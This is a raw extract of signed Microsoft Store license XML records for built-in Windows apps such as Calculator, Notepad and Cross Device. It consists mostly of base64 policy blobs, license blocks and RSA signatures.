Qw4UgGlcgF8AfY0wAAAAQAAABWrKppzAAAAEQAAAABAAIA47nbp4+RJOd/7+gwfLKJuJvQhUCKa7Gd0ntAwiZqaS6uALDhGrIhxWXUewEzPF0xSj1rHLBoaBt3kJHd4Adl9w==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>G0RlxTOapWNE4K5T6L42PHfRXzmeki4yIcfvekVq0xw=</DigestValue></Reference></SignedInfo><SignatureValue>GiFEDqbv2OzzlDg5Fvcjh1G60GDzdJYV1UZm7A5pgAXjt0palCPa3YPArsRuQgx28V8oqDPuoMjIuwuAhCiNYaZ9cLTDai0U9q3IoMTcoEZdFEZE6OFEKPou4eqOgAgtY9ciNVCRj5v1CWPLN4JjG4Wyf5H7DEKPGnlwsc/rK/TSak0R1N0E0dVEmbNQ7tCJhm8otDOOmUsX5tTng+bCAECrLQ9ayLRTxyX0DQ8XKkgFBbyygYG7O6Em3ejpNkYUgg5t8XGucdmFBDxRH0sG0JzUZmHy6AuGo43qvizAqXvvD9ZxEPMPzAcrgBohCGFi9TtdfZPGD2bZK6by5KL58g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="85041563-9318-4927-8f3f-41949f7d63fa" LicenseID="bcb9e230-d700-a763-86f5-02d215616d8c" ContentID="d6ef2d33-90fc-bcac-d7cd-abd2a67c444a" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NTXGKQ8P7N0</ProductID><PFM>microsoftwindows.crossdevice_cw5n1h2txyewy</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:27:47.7347726Z</IssuedDate><LastUpdateDate>2026-02-20T12:27:47.7211092Z</LastUpdateDate><BeginDate>2026-02-20T12:27:47.7211085Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI5OWY3MTQ4Yy1mZjI5LTRiMTMtOTQxOS1lMWFjNzAzMzAxOTAifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQBEU5hpAwDLAAAAEAAAADDiubwA12OnhvUC0hVhbYzOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AHcAaQBuAGQAbwB3AHMALgBjAHIAbwBzAHMAZABlAHYAaQBjAGUAXwBjAHcANQBuADEAaAAyAHQAeAB5AGUAdwB5AAAAzQAAACIAAAABALc7txXd62b3F6kttqLJLnlJULA6dKQw4UgGlcgF8AfYIAAAAAQAAABEU5hpzAAAAEQAAAABAAIASWB8X+7pXY+W/3PxYgiQUdO/y2g60yDrsgf8zLMLgh8KSBM4p8BDv8u1RlZ9GxMQx7thJ1blsqHmOSMqidjQsQ==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>gZWN/bqeP424aZJp8iRCV7qys/vVBCeXEoqEC8VmDC0=</DigestValue></Reference></SignedInfo><SignatureValue>DISAfmjAFsVMzm3vJc21Y03CuKYNG6/nP17mlDX4pALVOpa3V1GFNhVezomxAYQ71amTfQe6WbjcZQhwc9n7I2bOxnmsjL1IT3gifzz7EgA4YHFm2917TOU0jutnz0ajBdvXNoBLIZ5fEE7rCIo3Piqve/ZpVFEcliK99z3jBEhV6V99/T5e6nH8tuJYM1SFG0mv0jf0ypf/XtR+jGYhnIo5f56feWVNe5nQdfqWf40vKdaD+MxV2qYjWOKasOLlkoPyFlnRqVzUPdnYsR4eGx+JiOA7oRVqtDCpQUf++yG870NeSLUNqlUUNcjqrdLkHYbE7QTPSAwgOHB1KaxmXA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="f5ab6767-469f-44ca-9240-765e7138daf2" LicenseID="c94a6c18-d496-da1c-8a02-fc6976e0145e" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsCalculator_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:19:53.7896044Z</IssuedDate><LastUpdateDate>2026-02-20T09:19:53.7791445Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD02OGJjMzI1MS0yZDhiLWE2MDQtOTJiYS04OTM2MzhjYTcyZWEmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZIVk41JnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiYmNkYTk3YmItYmZkMC0yYTcyLTNjOTAtYzg1MThmM2QwOWVlIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiNjhiYzMyNTEtMmQ4Yi1hNjA0LTkyYmEtODkzNjM4Y2E3MmVhIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSFZONSIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwOToxOTo1My43Nzg5OTgrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgA6J5hpAADLAAAAEAAAABhsSsmW1BzaigL8aXbgFF7OAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBjAGEAbABjAHUAbABhAHQAbwByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQD0TdIb6f7l3ih++6C/6GJrAVv++78F10B/f1WU76PmzNMAAAAEAAAAOs4OaswAAABEAAAAAQACAEL7eiwW5yKU9oaFqGUv8cVE/9gizfTVuJf+GNWIvfrTlxpq2hoshkHGb9Oz9Y2JedlISbclDAUVCPdP4W6tjPc=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>woBTWqudgS9EKhew3oP9G/HyH5r1mbJP1H2Q0TgpN0c=</DigestValue></Reference></SignedInfo><SignatureValue>PqC5bGVY6XdIop5NYPPf/wh40hxsCsP5lCcZ1Lb/LOjE8HMr9ihhRHHegBVFuqiLa9ifxeUktU0JpFo2wtY4fq6UGiX16ygUOwuT5DvXdFksA4//r9/5fDwwILnUjtv9a2BHWhWGVgF9UQ5I2t6w7PdsYqcI15TBVd4BvysQAY1Uw1sVgRgqjrEAtnj1104XcQmBW9+UswJaRJHmXUQBvxv34TVBLZSJ8C9GS/MK/AnqJkfjAikxvCRToOnh0+FEoS3gVhnvflEIHoKBrZsO/bHmVtMrjFPwwCDMLR3PF1h9BbwXQy+mP2F725rwc1byJVy7myLIM+it2uXLpftJDw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
Qg<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="0bfeff51-0d72-4983-abcb-17083d8ea2ec" LicenseID="bcda97bb-bfd0-2a72-3c90-c8518f3d09ee" ContentID="68bc3251-2d8b-a604-92ba-893638ca72ea" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFHVN5</ProductID><PFM>microsoft.windowscalculator_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T07:17:08.1056789Z</IssuedDate><LastUpdateDate>2026-02-20T07:17:08.0955062Z</LastUpdateDate><BeginDate>2026-02-20T07:17:08.0955057Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJlNjMyZmU5MC1hNWJhLTQzYWEtYmY4MS05ZGU4NDEzZTgzZDgifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQB0CphpAwDLAAAAEAAAALuX2rzQv3IqPJDIUY89Ce7OAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBjAGEAbABjAHUAbABhAHQAbwByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQD0TdIb6f7l3ih++6C/6GJrAVv++78F10B/f1WU76PmzCAAAAAEAAAAdAqYacwAAABEAAAAAQACAIGOw30uiK/w7cqjYyfDl4t1BYMTKwr7zUzxxcQFcNJRXni2QUIlox75aPMr3BtJsAMyTT1NXevGzAlwA0MaVbQ=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>om3Pp59kz0DrIShnzQKZy5IQxHpj4Q9jm7VhOG+ri60=</DigestValue></Reference></SignedInfo><SignatureValue>O+GJHbfIBp3SI27hmkBSfKqQ+5jB5/Eo7g3cDPlc5orfDYV5VCAnmr4brQ4W1pIG5Azwc9MmgFFTD2jbPSfyv4pokRCB3YfCUI0GpPoKz7f6uOg/Za08CM7mjv/1Xvdc25Y7YDvepmAPVIy9ccMAKEfMrgb+PZu4ZXFPdxmrHbh5b2MK+IG/vhr2mXw8AhcNeo9V1u3UvcZ+EDH5Lho5o0hMXU4SjK5+VUj8x95dWqzzcnxfDPOdo5weWXl9EVGBgylrsVQ34BQsCKr6RRi9sogIXFmXZmQ1r9cS27b4Ur68OCmaWy2mmytF9jaoX5i8U3ZHZNlwYWhuRQBnakqODQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
x<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="873340cb-0a86-43e8-9cf8-0a8f5bbe6f5e" LicenseID="cf9ca015-3f19-2212-eb18-f4713138a9e8" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:17:26.4390824Z</IssuedDate><LastUpdateDate>2026-02-20T10:17:26.4270882Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiYjYxNjdhZjItNTlkMC0xNDVhLTYzOWEtMzk1MzA2MzgzOWJhIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NTQ1NTQ5MTg2NzEyJmNvbnRlbnRJZD00OGNhYmE4YS0yZTYyLTIwOTctZGNkOC00MjU1YzYzN2IzMmQmZW50aXRsZW1lbnRJZD1iNjE2N2FmMi01OWQwLTE0NWEtNjM5YS0zOTUzMDYzODM5YmEmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImJlMGI2M2E2LTUzOTQtZGNiMC03YmMyLTUxODdhZjg1Y2U2NyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjQ4Y2FiYThhLTJlNjItMjA5Ny1kY2Q4LTQyNTVjNjM3YjMyZCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TVNTR0tHMzQ4U1AiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTA6MTc6MjYuNDI2OTE5MSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAANAAAADJAAAACgAAAAUAAgC2NJhpAADLAAAAEAAAABWgnM8ZPxIi6xj0cTE4qejOAAAAaAAAAG0AaQBjAHIAbwBzAG8AZgB0AHcAaQBuAGQAbwB3AHMALgBjAGwAaQBlAG4AdAAuAHcAZQBiAGUAeABwAGUAcgBpAGUAbgBjAGUAXwBjAHcANQBuADEAaAAyAHQAeAB5AGUAdwB5AAAAzQAAACIAAAABAJrpQE5qlTjezCU13Ih5q/nv2JO+YzSILgx2gMC6kfkE0wAAAAQAAAC2qappzAAAAEQAAAABAAIAvgJcdYuC6GFP47GUmBO7cu++dtjpmQiTsighAvhJb6Rkqzi6ssCGevKVDdtPXrI/4YYOniXa5gMC7wSwxYr71w==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>7F4CYU8GPZs31EHBlzd7l6INtbl1xIthk4ZFI2fDB3A=</DigestValue></Reference></SignedInfo><SignatureValue>n8iDY0QgW4BL0fLZnRdRESGF0Lh6EBdJj6/P1EZfyTMju46ahMcgZ4FRUOz1m9Gis9wLdwY3QvwBCrt95jy5rQZqJ2yza/HDEyHNYac2GAON59gHgu9daskRLwpnrY7XjvVA98lTT+rbANqH2ZJvAxz/KPEH4PejVgsmGWxagyaVyjETzvRT13lA8f7JE0wuD5xaY45lypbX1gLJkLjyjG2Rf4WdOKbDMr3pLmpvo15fvFMYDU77dk/4ZbHl2WlPCYcGDVbuThz7TQWawoqo0MsVlaNRGb2x2B0QAsmQEfcAi1sWp2xHtCQ596OYDRU/37rf8PSMTMYdrvJoMmPwJg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="f2d8bb4c-1a17-4398-9a87-b512e42bd7de" LicenseID="be0b63a6-5394-dcb0-7bc2-5187af85ce67" ContentID="48caba8a-2e62-2097-dcd8-4255c637b32d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9MSSGKG348SP</ProductID><PFM>microsoftwindows.client.webexperience_cw5n1h2txyewy</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T15:50:35.6195878Z</IssuedDate><LastUpdateDate>2026-02-20T15:50:35.6104575Z</LastUpdateDate><BeginDate>2026-02-20T15:50:35.6104569Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJmODVkNjlkNS0yZTllLTQ2ZjUtYTg3Ni05MjhiZDFiODk5YjgifQ==</CustomPolicies><SPLicenseBlock>FAAAANAAAADJAAAACgAAAAUAAQDMgphpAwDLAAAAEAAAAKZjC76UU7Dce8JRh6+FzmfOAAAAaAAAAG0AaQBjAHIAbwBzAG8AZgB0AHcAaQBuAGQAbwB3AHMALgBjAGwAaQBlAG4AdAAuAHcAZQBiAGUAeABwAGUAcgBpAGUAbgBjAGUAXwBjAHcANQBuADEAaAAyAHQAeAB5AGUAdwB5AAAAzQAAACIAAAABAJrpQE5qlTjezCU13Ih5q/nv2JO+YzSILgx2gMC6kfkEIAAAAAQAAADMgphpzAAAAEQAAAABAAIAKD3SJabQDyNVGb+4jWtZtY9TDjH5NbWEcOMFpf4LTH0tHg0ItxBQ8MrTtwnt5iVtY/hzF5d5fnvtQ4nzI6n2Cw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>4Wek8FC8TjEX9mj0rNMpvdIeEcsXKj+52xnJ6Qu4jeE=</DigestValue></Reference></SignedInfo><SignatureValue>YcFViBLRWgcF5lhTWf7Uf1y0zzBXXWtCKMejDfnIQzShjY7QXvGcj9Lhugubai4HIteKBNGieEkxM5g6e3bXZLlyjAl6wb08yJokPaBMYjDvM9N+PJWiLAaTInM+YfBx1xqoOLIo87Bi4g8ct2EZq26iqcNmu9KYVHvZNDUq6Op04HjvVWhhz+w6SA0vhDnLbo0ZC+lEVXeyxAuDne5ySZA6JFQ0jZW6FZoSDTYoZvRsTaDNtLGJgkAQE+htrRyTDtXIXH6ZcwXRvpKQrn7Hxw6glbfbJgBtnLkV6847Tkjwe0VoVynEW8t8LTJxP6dh/inbWpWYx/wTDqLyHvKNDg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="29a65432-9bda-4fce-9b26-a40f9b613777" LicenseID="d74bad95-80fd-fb25-cabc-4cf2b34ede4d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsNotepad_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:35:27.2581444Z</IssuedDate><LastUpdateDate>2026-02-20T11:35:27.2475637Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNWRlNWExZjUtNWE0ZC1lNTA1LTQ1NTgtYzI1YmQ2NjZmZGU1IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2NzU1NDcxNjkxNDM3ODUxJmNvbnRlbnRJZD0wNTkwMDEwOS03YmY0LTQzNmItMGFjNi1iMDgxMGI3ODA2ZTEmZW50aXRsZW1lbnRJZD01ZGU1YTFmNS01YTRkLWU1MDUtNDU1OC1jMjViZDY2NmZkZTUmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImMyYTZkMzgyLTc5ZmYtZTViMC1mMzZjLTU1MGNmZjBhMWZiZSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjA1OTAwMTA5LTdiZjQtNDM2Yi0wYWM2LWIwODEwYjc4MDZlMSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TVNNTFJINkxaRjMiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTE6MzU6MjcuMjQ3MzI3NyswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALYAAADJAAAACgAAAAUAAgD/RphpAADLAAAAEAAAAJWtS9f9gCX7yrxM8rNO3k3OAAAATgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBuAG8AdABlAHAAYQBkAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQBShZ4+iol39J0vWwOyUU6hDjP7CdRVzjH+GMIuatiBitMAAAAEAAAA/7uqacwAAABEAAAAAQACAFQZuVC3e0kv9bbg4FxmOdZNhxsONlkE5iQsxAakWyk3vEp6wFKg6fKvTdBJj6oiDPARxMkO7+mM9WCBKwt+6Bg=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>puoiHvCbgljpuKUodi6G4hjBRPFF8fwIywp9eM1L0ME=</DigestValue></Reference></SignedInfo><SignatureValue>eR8QXG4kHpcPLeotbpx3R0V/qDej96MGSOMjA1O3vzYtwel0AeSe9AAFr3/Heuz2g5vAmeQq7ps9YyBr+mz0j6C5FF7YR4UOUQS54f/GV9YERzWHSPq4CwHZE5egoQoSDBm+lYRLq1jtpsVNZYy02ConPUWQUectgG+MkhZhOoPjGwp5Nc5B5+daPShb13nCt/hSmRexRImJhspxYygJwdQPdoWAP9AQ62LtQpjiFyf/iAaSvB0bmoNty1ouxEORsu1UQEph1VS44a0w7EC2qP4Qd9Q/hoX8U5hclcfjwvWIseT1qFpzE3PJznGvdt78hkiEqem5JI8BVPU8m34DBA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
